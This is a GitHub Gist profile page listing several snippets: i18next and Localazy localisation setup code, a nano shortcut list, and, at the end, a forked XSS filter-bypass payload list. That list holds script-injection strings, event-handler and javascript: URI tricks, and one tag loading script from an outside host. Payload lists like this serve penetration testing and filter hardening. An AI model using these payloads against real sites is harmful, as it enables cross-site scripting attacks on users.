Skip to content

Instantly share code, notes, and snippets.

View honzabilek4's full-sized avatar
🌱

Jan Bílek honzabilek4

🌱
View GitHub Profile
import i18next from "i18next";
import enJson from "./locales/en.json";
import frJson from "./locales/fr.json";
import csJson from "./locales/cs.json";
export const i18n = i18next;
export const initI18n = (callback) => {
i18next.init(
{
lng: "en",
debug: true,
{
"scripts": {
"start": "parcel index.html - open",
"build": "parcel build index.html",
"upload": "localazy upload",
"download": "localazy download",
"list": "localazy list"
}
}
{
"writeKey": "<your-write-key>",
"readKey": "<your-read-key>",
"upload": {
"type": "json",
"files": "src/locales/en.json"
},
"download": {
"files": "src/locales/${lang}.json"
}
import { i18n, initI18n } from "./i18n";
const createPageContent = () => {
 document.querySelector("#app").innerHTML = i18n.t("hello_localazy");
}
initI18n(createPageContent);
import i18next from "i18next";
import enJson from "./locales/en.json";
export const i18n = i18next;
export const initI18n = (callback) => {
i18next.init(
{
lng: "en",
debug: true,
resources: {
en: {
{
"hello_localazy": "Hello Localazy!",
"calendar": "Calendar",
"field": "Field",
"event": "Event",
"title": "Title",
"color": "Color"
}
{
"scripts": {
"start": "parcel index.html --open",
"build": "parcel build index.html"
}
}
<!DOCTYPE html>
<html>
<head>
  <title>Localize Javascript App with Localazy</title>
  <link rel="stylesheet" href="style.css"/>
  <meta charset="UTF-8" />
</head>
<body>
  <div id="app"></div>
  <script src="src/index.js">
@honzabilek4
honzabilek4 / nano-shorts.md
Created July 15, 2018 09:12 — forked from franz-josef-kaiser/nano-shorts.md
nano keyboard shortcuts

^ = Ctrl key M = Alt key

^G      (F1)            Display this help text
^X      (F2)            Close the current file buffer / Exit from nano
^O      (F3)            Write the current file to disk
^J      (F4)            Justify the current paragraph

^R      (F5)            Insert another file into the current one
@honzabilek4
honzabilek4 / xxsfilterbypass.lst
Created February 16, 2018 10:30 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>